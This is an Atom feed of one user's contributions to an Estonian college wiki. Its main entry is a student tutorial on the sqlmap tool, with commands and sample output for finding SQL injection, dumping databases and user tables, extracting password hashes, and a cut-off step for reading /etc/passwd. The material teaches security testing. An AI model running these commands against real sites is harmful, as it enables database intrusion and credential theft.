<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Eprudnik</id>
	<title>ICO wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Eprudnik"/>
	<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php/Special:Contributions/Eprudnik"/>
	<updated>2026-05-07T10:46:19Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=123227</id>
		<title>BlindSQL Material</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=123227"/>
		<updated>2017-06-06T21:50:03Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;IT Kolledži Wiki kolimise tõttu asuvad materjalid ajutiselt aadressil [https://docs.google.com/document/d/1w-T-iF83AIan2mOkHyGUAm7DGesuiHtiGmQ2GyRrkvI/edit?usp=sharing]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=122815</id>
		<title>BlindSQL Material</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=122815"/>
		<updated>2017-05-25T08:58:07Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Õpimaterjal on täiendamisel ning lisandub antud lehele kuupäevaks 06.06.17.&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&amp;diff=122814</id>
		<title>BlindSQL Guide</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&amp;diff=122814"/>
		<updated>2017-05-25T08:57:23Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Õpijuhis on täiendamisel ning lisandub antud lehele kuupäevaks 06.06.2017.&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=122791</id>
		<title>BlindSQL Material</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&amp;diff=122791"/>
		<updated>2017-05-25T01:57:50Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: Created page with &amp;quot;Õpimaterjal on täiendamisel.&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Õpimaterjal on täiendamisel.&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&amp;diff=122790</id>
		<title>BlindSQL Guide</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&amp;diff=122790"/>
		<updated>2017-05-25T01:57:07Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: Created page with &amp;quot;Õpijuhis on täiendamisel.&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Õpijuhis on täiendamisel.&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88537</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88537"/>
		<updated>2015-05-14T15:14:56Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: /* SQLmap */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
14.05.2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
Toetab mitmesuguseid andmebaasisüsteeme:  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap&#039;i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. &lt;br /&gt;
&lt;br /&gt;
1. Paigalda Python (Debian, Ubuntu).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install python2.6&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kontrolli versiooni.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python --version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Seejärel alla laadida SQLmap.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget from http://sqlmap.sourceforge.net/#download&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Pakkida see lahti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxvf sqlmap-0.9.tar.gz&lt;br /&gt;
&lt;br /&gt;
cd sqlmap&lt;br /&gt;
&lt;br /&gt;
python sqlmap.py&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Edukal paigaldamisel tagastab SQLmap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap/0.9 - automatic SQL injection and database takeover tool&lt;br /&gt;
    http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
Usage: python sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory parameter (&#039;-d&#039;, &#039;-u&#039;, &#039;-l&#039;, &#039;-r&#039;, &#039;-g&#039;, &#039;-c&#039;, &#039;--wizard&#039; or &#039;--update&#039;), -h for help&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Windows====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]&lt;br /&gt;
&lt;br /&gt;
2. Alla laadida zip fail SQLmap&#039;i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;C:\sqlmapproject-sqlmap-2defc30&amp;gt;python ./sqlmap.py&lt;br /&gt;
Usage: ./sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza&lt;br /&gt;
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv&lt;br /&gt;
anced help&lt;br /&gt;
&lt;br /&gt;
Press Enter to continue...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Süntaks==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Ülevaade SQLmap&#039;i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py [options]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mõned võtmed:&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Sihtmärk&#039;&#039;&#039;, kellega ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-d DIRECT           Otseühendus andmebaasiga&lt;br /&gt;
-u URL, --url=URL   Sihtmärgi URL (näiteks &amp;quot;www.target.com/vuln.php?id=1&amp;quot;)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. &#039;&#039;&#039;Päring&#039;&#039;&#039;, kuidas sihtmärgiga ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--data=DATA         Andmestring saadetakse läbi POST&#039;i&lt;br /&gt;
--host=HOST         HTTP Host&#039;i päis&lt;br /&gt;
--proxy=PROXY       Kasutada HTTP proxy&#039;t et ühenduda URL&#039;iga&lt;br /&gt;
--delay=DELAY       Ooteaeg sekundites HTTP päringute vahel&lt;br /&gt;
--force-ssl         Kasuta SSL/HTTPS&#039;i&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. &#039;&#039;&#039;Optimiseerimine&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;--threads=THREADS   Samaaegsete HTTP(s) päringute arv (vaikimisi 1)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. &#039;&#039;&#039;Andmebaas&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-a, --all           Tagasta kõik&lt;br /&gt;
--current-user      Tagasta hetkel kasutuses oleva kasutaja&lt;br /&gt;
--users             Loetle kasutajad&lt;br /&gt;
--passwords         Loetle kasutajate parooliräsid&lt;br /&gt;
--privileges        Loetle kasutajate privileegid&lt;br /&gt;
--roles             Loetle kasutajate rollid&lt;br /&gt;
--dbs               Loetle andmebaasid&lt;br /&gt;
--tables            Loetle andmebaasi tabelid&lt;br /&gt;
--columns           Loetle andmebaasi tabeli veerud&lt;br /&gt;
--schema            Loetle andmebaasi skeem&lt;br /&gt;
--dump              Väljasta kogu andmebaasi sisu&lt;br /&gt;
--dump-all          Väljasta kõikide andmebaaside sisu&lt;br /&gt;
--search            Otsi veergu, tabelit ja/või andmebaasi nime&lt;br /&gt;
-D DB               Mis andmebaasist loetleda&lt;br /&gt;
-T TBL              Mis andmebaasi tabelist loetleda&lt;br /&gt;
-C COL              Mis tabeli veerust loetleda&lt;br /&gt;
-U USER             Mis kasutaja kohta loetleda&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. &#039;&#039;&#039;Failid&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--file-read=RFILE   Loe fail süsteemist&lt;br /&gt;
--file-write=WFILE  Kirjuta fail süsteemi&lt;br /&gt;
--file-dest=DFILE   Absoluutne failitee kuhu kirjutada&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks on SQLmap&#039;il veel väga palju muid võtmeid.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Kuidas kontrollida, kas veebisait on nõrk SQL injektsiooni suhtes?[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
Olgu lehe aadress:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame URL&#039;i lõpu märgi &#039;. Nüüd on lehe URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15&#039;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui leht tagastab SQL veateate, on see leht nõrk SQL injektsiooni suhtes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Andmebaasid ja tabelid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Oletame, et tahame SQLmap&#039;iga testida nõrka veebilehte. Veebilehega &#039;&#039;&#039;ühendumiseks&#039;&#039;&#039; kasutame võtit &#039;&#039;&#039;-u&#039;&#039;&#039; (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:10:33&lt;br /&gt;
&lt;br /&gt;
[12:10:33] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:10:34] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:10:37] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada &#039;&#039;&#039;andmebaaside nimekirja&#039;&#039;&#039;, kasutades võtit &#039;&#039;&#039;--dbs&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.sitemap.com/section.php?id=51&amp;quot; --dbs&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:12:56&lt;br /&gt;
&lt;br /&gt;
[12:12:56] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:12:57] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:13:00] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:13:00] [INFO] fetching database names&lt;br /&gt;
[12:13:00] [INFO] the SQL query used returns 2 entries&lt;br /&gt;
[12:13:00] [INFO] resumed: information_schema&lt;br /&gt;
[12:13:00] [INFO] resumed: safecosmetics&lt;br /&gt;
available databases [2]:&lt;br /&gt;
[*] information_schema&lt;br /&gt;
[*] safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame &#039;&#039;&#039;kõik tabelid&#039;&#039;&#039;, mis asuvad andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --tables -D safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[11:55:18] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[11:55:18] [INFO] fetching tables for database: &#039;safecosmetics&#039;&lt;br /&gt;
[11:55:19] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[11:55:19] [INFO] the SQL query used returns 216 entries&lt;br /&gt;
[11:55:20] [INFO] retrieved: acl_acl&lt;br /&gt;
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                &lt;br /&gt;
........... more tables&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Leiame &#039;&#039;&#039;veerud tabelis&#039;&#039;&#039; &amp;quot;users&amp;quot; andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --columns -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[12:17:39] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:17:39] [INFO] fetching columns for table &#039;users&#039; in database &#039;safecosmetics&#039;&lt;br /&gt;
[12:17:41] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[12:17:41] [INFO] the SQL query used returns 8 entries&lt;br /&gt;
[12:17:42] [INFO] retrieved: id&lt;br /&gt;
[12:17:43] [INFO] retrieved: int(11)                                                                                         &lt;br /&gt;
[12:17:45] [INFO] retrieved: name                                                                                            &lt;br /&gt;
[12:17:46] [INFO] retrieved: text                                                                                            &lt;br /&gt;
[12:17:47] [INFO] retrieved: password                                                                                        &lt;br /&gt;
[12:17:48] [INFO] retrieved: text                                                                                            &lt;br /&gt;
&lt;br /&gt;
.......&lt;br /&gt;
&lt;br /&gt;
[12:17:59] [INFO] retrieved: hash&lt;br /&gt;
[12:18:01] [INFO] retrieved: varchar(128)&lt;br /&gt;
Database: safecosmetics&lt;br /&gt;
Table: users&lt;br /&gt;
[8 columns]&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| Column            | Type         |&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| email             | text         |&lt;br /&gt;
| hash              | varchar(128) |&lt;br /&gt;
| id                | int(11)      |&lt;br /&gt;
| name              | text         |&lt;br /&gt;
| password          | text         |&lt;br /&gt;
| permission        | tinyint(4)   |&lt;br /&gt;
| system_allow_only | text         |&lt;br /&gt;
| system_home       | text         |&lt;br /&gt;
+-------------------+--------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Leiame eelnevast &#039;&#039;&#039;tabelist andmed&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --dump -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| 1  | 5DIpzzDHFOwnCvPonu | admin     | &amp;lt;blank&amp;gt;   | &amp;lt;blank&amp;gt;  | 3          | &amp;lt;blank&amp;gt;     | &amp;lt;blank&amp;gt;           |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Kasutajad====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Järgnev käsk tagastab infot &#039;&#039;&#039;kasutajate ja rollide&#039;&#039;&#039; kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --users --passwords --privileges --roles --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;..........&lt;br /&gt;
&lt;br /&gt;
database management system users [5]:&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;127.0.0.1&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
&lt;br /&gt;
.............&lt;br /&gt;
&lt;br /&gt;
database management system users password hashes:&lt;br /&gt;
[*]  [1]:&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
[*] root [2]:&lt;br /&gt;
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
&lt;br /&gt;
........&lt;br /&gt;
&lt;br /&gt;
[*] %root% (administrator) [27]:&lt;br /&gt;
    privilege: ALTER&lt;br /&gt;
    privilege: ALTER ROUTINE&lt;br /&gt;
    privilege: CREATE&lt;br /&gt;
    privilege: CREATE ROUTINE&lt;br /&gt;
    privilege: CREATE TEMPORARY TABLES&lt;br /&gt;
    privilege: CREATE USER&lt;br /&gt;
    privilege: CREATE VIEW&lt;br /&gt;
    privilege: DELETE&lt;br /&gt;
    privilege: DROP&lt;br /&gt;
    privilege: EVENT&lt;br /&gt;
    privilege: EXECUTE&lt;br /&gt;
    privilege: FILE&lt;br /&gt;
    privilege: INDEX&lt;br /&gt;
    privilege: INSERT&lt;br /&gt;
    privilege: LOCK TABLES&lt;br /&gt;
    privilege: PROCESS&lt;br /&gt;
    privilege: REFERENCES&lt;br /&gt;
    privilege: RELOAD&lt;br /&gt;
    privilege: REPLICATION CLIENT&lt;br /&gt;
    privilege: REPLICATION SLAVE&lt;br /&gt;
    privilege: SELECT&lt;br /&gt;
    privilege: SHOW DATABASES&lt;br /&gt;
    privilege: SHOW VIEW&lt;br /&gt;
    privilege: SHUTDOWN&lt;br /&gt;
    privilege: SUPER&lt;br /&gt;
    privilege: TRIGGER&lt;br /&gt;
    privilege: UPDATE&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Leiame info hetkel kasutusel oleva &#039;&#039;&#039;kasutaja, andmebaasi ja hostinime&#039;&#039;&#039; kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --current-user --is-dba --current-db --hostname --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;........&lt;br /&gt;
[11:32:33] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: Linux Red Hat Enterprise 6 (Santiago)&lt;br /&gt;
web application technology: PHP 5.3.3, Apache 2.2.15&lt;br /&gt;
back-end DBMS: MySQL 5.0.11&lt;br /&gt;
[11:32:33] [INFO] fetching current user&lt;br /&gt;
[11:32:33] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:33] [INFO] retrieved: 14&lt;br /&gt;
[11:32:38] [INFO] retrieved: root@localhost             &lt;br /&gt;
current user:    &#039;root@localhost&#039;&lt;br /&gt;
[11:32:38] [INFO] fetching current database&lt;br /&gt;
[11:32:38] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:38] [INFO] retrieved: 5&lt;br /&gt;
[11:32:40] [INFO] resumed: profile_data&lt;br /&gt;
current database:    &#039;profile_data&#039;&lt;br /&gt;
[11:32:40] [INFO] fetching server hostname&lt;br /&gt;
[11:32:40] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:40] [INFO] retrieved: 21&lt;br /&gt;
[11:32:48] [INFO] retrieved: localhost.localdomain             &lt;br /&gt;
hostname:    &#039;localhost.localdomain&#039;&lt;br /&gt;
[11:32:48] [INFO] testing if current user is DBA&lt;br /&gt;
[11:32:48] [INFO] fetching current user&lt;br /&gt;
current user is DBA:    False&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame kasutaja &#039;&#039;&#039;parooliräsi&#039;&#039;&#039;:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[10:59:15] [INFO] the SQL query used returns 1 entries&lt;br /&gt;
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.&lt;br /&gt;
[10:59:18] [INFO] analyzing table dump for possible password hashes&lt;br /&gt;
Database: sqldummywebsite&lt;br /&gt;
Table: user_info&lt;br /&gt;
[1 entry]&lt;br /&gt;
+---------------+&lt;br /&gt;
| user_password |&lt;br /&gt;
+---------------+&lt;br /&gt;
| 24iYBc17xK0e. |&lt;br /&gt;
+---------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Failid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Faili lugemine&#039;&#039;&#039; kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
